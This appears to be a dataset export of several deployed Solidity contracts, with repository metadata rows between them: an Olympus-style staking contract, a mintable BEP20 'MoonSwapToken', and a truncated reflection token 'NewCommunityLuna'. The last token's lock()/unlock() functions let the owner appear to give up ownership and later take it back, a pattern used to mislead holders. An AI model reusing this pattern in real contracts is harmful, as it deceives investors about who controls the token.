bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IOwnable {
function manager() external view returns (address);
function renounceManagement() external;
function pushManagement(address newOwner_) external;
function pullManagement() external;
}
contract Ownable is IOwnable {
address internal _owner;
address internal _newOwner;
event OwnershipPushed(address indexed previousOwner, address indexed newOwner);
event OwnershipPulled(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipPushed(address(0), _owner);
}
function manager() public view override returns (address) {
return _owner;
}
modifier onlyManager() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceManagement() public virtual override onlyManager() {
emit OwnershipPushed(_owner, address(0));
_owner = address(0);
}
function pushManagement(address newOwner_) public virtual override onlyManager() {
require(newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipPushed(_owner, newOwner_);
_newOwner = newOwner_;
}
function pullManagement() public virtual override {
require(msg.sender == _newOwner, "Ownable: must be new owner to pull");
emit OwnershipPulled(_owner, _newOwner);
_owner = _newOwner;
}
}
interface IsOHM {
function rebase(uint256 ohmProfit_, uint epoch_) external returns (uint256);
function circulatingSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function gonsForBalance(uint amount) external view returns (uint);
function balanceForGons(uint gons) external view returns (uint);
function index() external view returns (uint);
}
interface IWarmup {
function retrieve(address staker_, uint amount_) external;
}
interface IDistributor {
function distribute() external returns (bool);
}
contract OlympusStaking is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
address public immutable OHM;
address public immutable sOHM;
struct Epoch {
uint length;
uint number;
uint endBlock;
uint distribute;
}
Epoch public epoch;
address public distributor;
address public locker;
uint public totalBonus;
address public warmupContract;
uint public warmupPeriod;
constructor (address _OHM,
address _sOHM,
uint _epochLength,
uint _firstEpochNumber,
uint _firstEpochBlock) {
require(_OHM != address(0));
OHM = _OHM;
require(_sOHM != address(0));
sOHM = _sOHM;
epoch = Epoch({
length: _epochLength,
number: _firstEpochNumber,
endBlock: _firstEpochBlock,
distribute: 0
});
}
struct Claim {
uint deposit;
uint gons;
uint expiry;
bool lock; // prevents malicious delays
}
mapping(address => Claim) public warmupInfo;
function stake(uint _amount, address _recipient) external returns (bool) {
rebase();
IERC20(OHM).safeTransferFrom(msg.sender, address(this), _amount);
Claim memory info = warmupInfo[ _recipient ];
require(!info.lock, "Deposits for account are locked");
warmupInfo[ _recipient ] = Claim ({
deposit: info.deposit.add(_amount),
gons: info.gons.add(IsOHM(sOHM).gonsForBalance(_amount)),
expiry: epoch.number.add(warmupPeriod),
lock: false
});
IERC20(sOHM).safeTransfer(warmupContract, _amount);
return true;
}
function claim (address _recipient) public {
Claim memory info = warmupInfo[ _recipient ];
if (epoch.number >= info.expiry && info.expiry != 0) {
delete warmupInfo[ _recipient ];
IWarmup(warmupContract).retrieve(_recipient, IsOHM(sOHM).balanceForGons(info.gons));
}
}
function forfeit() external {
Claim memory info = warmupInfo[ msg.sender ];
delete warmupInfo[ msg.sender ];
IWarmup(warmupContract).retrieve(address(this), IsOHM(sOHM).balanceForGons(info.gons));
IERC20(OHM).safeTransfer(msg.sender, info.deposit);
}
function toggleDepositLock() external {
warmupInfo[ msg.sender ].lock = !warmupInfo[ msg.sender ].lock;
}
function unstake(uint _amount, bool _trigger) external {
if (_trigger) {
rebase();
}
IERC20(sOHM).safeTransferFrom(msg.sender, address(this), _amount);
IERC20(OHM).safeTransfer(msg.sender, _amount);
}
function index() public view returns (uint) {
return IsOHM(sOHM).index();
}
function rebase() public {
if(epoch.endBlock <= block.number) {
IsOHM(sOHM).rebase(epoch.distribute, epoch.number);
epoch.endBlock = epoch.endBlock.add(epoch.length);
epoch.number++;
if (distributor != address(0)) {
IDistributor(distributor).distribute();
}
uint balance = contractBalance();
uint staked = IsOHM(sOHM).circulatingSupply();
if(balance <= staked) {
epoch.distribute = 0;
} else {
epoch.distribute = balance.sub(staked);
}
}
}
function contractBalance() public view returns (uint) {
return IERC20(OHM).balanceOf(address(this)).add(totalBonus);
}
function giveLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.add(_amount);
IERC20(sOHM).safeTransfer(locker, _amount);
}
function returnLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.sub(_amount);
IERC20(sOHM).safeTransferFrom(locker, address(this), _amount);
}
enum CONTRACTS { DISTRIBUTOR, WARMUP, LOCKER }
function setContract(CONTRACTS _contract, address _address) external onlyManager() {
if(_contract == CONTRACTS.DISTRIBUTOR) { // 0
distributor = _address;
} else if (_contract == CONTRACTS.WARMUP) { // 1
require(warmupContract == address(0), "Warmup cannot be set more than once");
warmupContract = _address;
} else if (_contract == CONTRACTS.LOCKER) { // 2
require(locker == address(0), "Locker cannot be set more than once");
locker = _address;
}
}
function setWarmup(uint _warmupPeriod) external onlyManager() {
warmupPeriod = _warmupPeriod;
}
}
| 74,615 | 10,991 |
78c9fe9712dcb1590d4011d528317c8ba1acf3417aa6ed8818baca9dc8172f31
| 31,141 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/2f/2fd522f0ec18c43d60a3b11e9bcdc6d608d7a68d_MoonSwapToken.sol
| 3,370 | 13,398 |
//SPDX-License-Identifier: None
pragma solidity 0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BEP20 is Context, IBEP20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 constant MAXCAPSUPPLY = 2500000 * (10 ** 18);
constructor(string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function getOwner() external override view returns (address) {
return owner();
}
function name() public override view returns (string memory) {
return _name;
}
function decimals() public override view returns (uint8) {
return _decimals;
}
function symbol() public override view returns (string memory) {
return _symbol;
}
function totalSupply() public override view returns (uint256) {
return _totalSupply;
}
function maxSupply() public pure returns (uint256) {
return MAXCAPSUPPLY;
}
function balanceOf(address account) public override view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public override view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero"));
return true;
}
function mint(uint256 amount) public onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
function _transfer(address sender,
address recipient,
uint256 amount) internal virtual {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "BEP20: mint to the zero address");
require(_totalSupply.add(amount) <= MAXCAPSUPPLY, "Max supply reached");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "BEP20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "BEP20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account,
_msgSender(),
_allowances[account][_msgSender()].sub(amount, "BEP20: burn amount exceeds allowance"));
}
}
// Token.
contract MoonSwapToken is BEP20('Moon Swap Token', 'MOON') {
/// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef).
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
}
}
| 312,650 | 10,992 |
0ad152582afca7f0362ef212bebd22a79ffd08f634767e1f7964594905e83120
| 30,334 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/c0/c0cae277d69e6242769fb2fbc63a3808babbb745_NewCommunityLuna.sol
| 5,426 | 19,517 |
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IBEP20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
//Locks the contract for owner for the amount of time provided
function lock(uint256 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = now + time;
emit OwnershipTransferred(_owner, address(0));
}
//Unlocks the contract for owner when _lockTime is exceeds
function unlock() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock");
require(now > _lockTime , "Contract is locked until 7 days");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
}
contract NewCommunityLuna is Context, IBEP20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 7 * 10**12 * 10**18;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
string private _name = 'New Community Luna';
string private _symbol = 'cLuna';
uint8 private _decimals = 18;
uint256 private _taxFee = 0;
uint256 private _burnFee = 0;
uint256 private _maxTxAmount = 7 * 10**12 * 10**18;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function taxFee() public view returns (uint256) {
return _taxFee;
}
function burnFee() public view returns (uint256) {
return _burnFee;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total Tester3");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0xD3ce6898eC2252713F96FC21921cEBfca27501d2, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function multiTransfer(address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++)
transfer(receivers[i], amounts[i]);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _taxFee, _burnFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tBurn = tAmount.mul(burnFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
